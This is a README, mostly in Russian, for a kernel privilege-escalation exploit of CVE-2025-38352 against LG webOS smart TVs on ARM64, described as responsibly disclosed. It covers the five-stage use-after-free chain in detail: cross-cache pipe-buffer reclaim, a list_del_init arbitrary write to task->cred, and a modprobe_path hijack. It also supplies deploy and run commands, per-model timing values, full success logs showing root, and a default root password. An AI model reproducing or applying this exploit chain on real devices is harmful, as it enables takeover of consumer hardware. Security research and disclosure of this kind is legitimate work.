
CVE-2025-38352 эксплойт для ядра LG webOS Smart TVs (ARM64). Обеспечивает постоянный root-доступ на реальном потребительском оборудовании с использованием новых техник эксплуатации. Ответственно раскрыт LG.
Эксплойт ядра для CVE-2025-38352 (состояние гонки таймера CPU POSIX / use-after-free), обеспечивающий постоянный root на LG webOS Smart TV с ядром 5.4.268 на ARM64. Проверено на 4 моделях телевизоров с различными версиями прошивки. Ответственно раскрыто в Программе исследователей безопасности LG (февраль 2026).
Создано на основе Chronomaly от farazsth98. Логика гонки UAF на этапе 1 и инфраструктура кросс-кэша портированы и адаптированы для ARM64; этапы 2–5 перепроектированы с использованием новых методов эксплуатации и решений, учитывающих ограничения реального оборудования, отсутствующие в эмулированных средах. Разработано с помощью Claude Opus 4.6.
См. VULNERABILITY_REPORT.md для полного анализа уязвимости, описания цепочки эксплойта и рекомендуемых мер защиты.
prisoner (uid=5038)Данный эксплойт был разработан в рамках ответственного исследования безопасности и сообщен в Программу исследователей безопасности LG 7 февраля 2026 года. Он публикуется исключительно в образовательных целях. Используйте ответственно и только на принадлежащих вам устройствах. Авторы не несут ответственности за любой ущерб, повреждение устройства ('bricking'), потерю данных или аннулирование гарантии в результате использования данного программного обеспечения. Программное обеспечение предоставляется 'как есть' без каких-либо гарантий.
Оригинальное произвольное уменьшение медленное и шумное: оно распыляет 1000 объектов struct cred через форкнутые процессы, затем уменьшает поле EUID целевого cred N раз. Каждое уменьшение — отдельная операция. Это приемлемо в QEMU, где тайминги терпимы, но ненадежно на реальном оборудовании, где управляемая прерываниями сборка страниц может украсть страницы буфера канала между операциями.
Это было заменено одной произвольной записью через list_del_init(). Эксплойт перезаписывает указатели list_head.next и list_head.prev UAF'нутого sigqueue через буфер канала. Когда ядро извлекает ожидающий сигнал (collect_signal() → list_del_init()), оно выполняет prev->next = next (записывает адрес поддельного cred в task_struct->cred) и next->prev = prev (контролируемая побочная запись). Одна запись заменяет указатель cred процесса на указатель на поддельную структуру cred, содержащую все нулевые поля uid/gid. Никакого распыления cred, никаких форкнутых процессов, детерминированно.
peek_pipe() через tee() для неразрушающего чтенияОригинал использует разрушающие вызовы read() для буферов каналов на протяжении всего эксплойта. В QEMU это работает нормально, так как страницы не крадутся между операциями. На реальном оборудовании с 4 физическими ядрами per-CPU список страниц (pcplist) ядра агрессивно перерабатывает освобожденные страницы. Разрушающее чтение освобождает резервную страницу буфера канала, которая может быть немедленно украдена аппаратным прерыванием до того, как эксплойт сможет её перераспределить.
Решение — неразрушающий примитив чтения канала с использованием tee(). Системный вызов tee() дублирует данные канала между двумя каналами без их потребления, удерживая резервную страницу исходного буфера канала закрепленной. Это позволяет эксплойту многократно читать данные ядра из кросс-кэшированного буфера канала без риска потери страницы. Это было критически важно для надежности на реальном оборудовании.
Оригинал распыляет объекты cred и надеется, что один из них окажется в предсказуемом месте. Эта версия создает поддельную структуру cred по известному адресу путем выполнения второго кросс-кэша: выделяет новый sigqueue (через tkill(SIGRTMIN+1)), узнает его адрес из утечки кучи первого буфера канала, а затем кросс-кэширует страницу slab этого sigqueue во второй буфер канала. Поддельные cred записываются во второй буфер канала по точному смещению страницы утекшего адреса sigqueue. В результате получаются поддельные cred по детерминированному виртуальному адресу ядра без угадывания.
Оригинал извлекает SIGUSR2 на раннем этапе 2, чтобы узнать адрес UAF sigqueue. Это потребляет сигнал, поэтому оригиналу нужен другой механизм для финальной записи. Эта версия никогда не требует собственного адреса UAF sigqueue (утечка кучи получается из соседних указателей sigqueue в буфере канала). SIGUSR2 остается ожидающим на всех пяти этапах, и его извлечение используется как финальный триггер произвольной записи. Сигнал, создавший UAF, — это тот же сигнал, чье извлечение его эксплуатирует.
modprobe_path + socket(44)Поддельная структура cred содержит NULL-указатели user_ns, user и group_info (поскольку буфер канала обнуляется за пределами полей uid/gid). Вызов setresuid(), fork() или exec() приведет к разыменованию этих NULL-указателей и панике ядра. Оригинал избегает этого, потому что его распыление cred использует реальные объекты cred с валидными указателями.
Решение: перезаписать /proc/sys/kernel/modprobe, указав на скрипт полезной нагрузки (/tmp/pwn), затем вызвать call_usermodehelper через socket(44, SOCK_STREAM, 0) (запрос несуществующего семейства протоколов). Ядро выполняет хелпер modprobe с init_cred (собственные корневые учетные данные ядра, полностью валидные), полностью обходя поврежденные cred. Полезная нагрузка выполняется с полными правами root и может выполнять произвольные операции.
Критическое окно на этапе 4 (запись вредоносных указателей в буфер канала, затем извлечение сигнала) уязвимо для аппаратных прерываний, которые могут украсть страницу буфера канала из per-CPU списка страниц. В QEMU этого не происходит. На реальном оборудовании это окно защищается приоритетом SCHED_FIFO (когда доступен) и sched_yield() для завершения ожидающих работ на ЦП перед входом в критическую секцию, а также предварительно подготовленным содержимым буфера для минимизации времени между записью и триггером. Эксплойт также корректно переключается в резервный режим, когда SCHED_FIFO недоступен (как на webOS, где пользователь prisoner не имеет CAP_SYS_NICE).
task_struct для ARM64Произвольная запись нацелена на task_struct->cred, что требует знания байтового смещения от task_struct->pending (чей адрес утекает из буфера канала) до task_struct->cred. Это смещение зависит от конфигурации ядра. Смещение 0x80 (128 байт) было вручную вычислено из исходного кода ядра LG webOS с учетом CONFIG_KEYS=y, CONFIG_SYSVIPC=y и специфичных для ARM64 структуры и выравнивания. Смещение x86_64 в оригинале отличается из-за другой упаковки структур и параметров конфигурации.
В случае успеха эксплойт:
/proc/sys/kernel/modprobe, чтобы запустить полезную нагрузку для рутинга от имени initaarch64-linux-gnu-gcc)# macOS (requires third-party tap)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
Установите приложение Homebrew Channel на телевизор через режим разработчика до запуска эксплойта. Таким образом, полезная нагрузка для рутинга должна будет только повысить его привилегии (быстро, надежно), а не устанавливать + повышать (медленнее, может завершиться ошибкой). Вы можете установить его вручную через ares-install или приложение Dev Manager:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
Если HBC не установлен заранее, эксплойт попытается установить его из /tmp/hbchannel.ipk (развернутого deploy-webos.sh), но это добавляет дополнительные шаги, которые могут завершиться ошибкой.
# 1. Set your TV's IP and SSH key
# Your TV's IP is in Settings > Network > Wi-Fi > Advanced Settings
# The SSH key is generated by the LG Developer Mode app — look for the key
# downloaded by Dev Manager or ares-setup-device (typically named webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. Build and deploy (deploy-webos.sh handles the build automatically)
./deploy-webos.sh
# 3. Connect and run
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
Эксплойт принимает параметры тайминга как аргументы командной строки:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
Если аргументы не предоставлены, используются скомпилированные значения по умолчанию (DELAY=31000, DELTA=50, THRESHOLD=3000).
Если указан DELAY, но не указан DELTA, DELTA вычисляется автоматически как DELAY / 600 (округляется до ближайшего 5).
Следите за выводом эксплойта и корректируйте DELAY:
Parent raced too late → DECREASE DELAY
Parent raced too early → INCREASE DELAY
Когда появляются оба сообщения, тайминг близок — продолжайте запускать, и эксплойт в конечном итоге попадет в окно гонки. Начните со скомпилированного значения по умолчанию (31000) и корректируйте оттуда.
/tmp/pwn — часто происходит тайм-аут (это нормально). При необходимости проверьте /tmp/pwn.log, чтобы вручную убедиться, что полезная нагрузка завершена.ssh root@<TV_IP>
# password: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
Оригинальные вклады лицензированы по MIT. Части, производные от Chronomaly от farazsth98, исключены из лицензии MIT, поскольку вышестоящий проект был опубликован без явной лицензии. См. LICENSE для подробностей.
| Переменная | По умолчанию | Описание |
|---|
WEBOS_IP | 192.168.1.100 | IP-адрес телевизора |
WEBOS_PORT | 9922 | SSH порт |
WEBOS_USER | prisoner | SSH пользователь |
WEBOS_KEY | $HOME/.ssh/webos_rsa | Путь к SSH-ключу |
| Модель TV | OTA ID | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |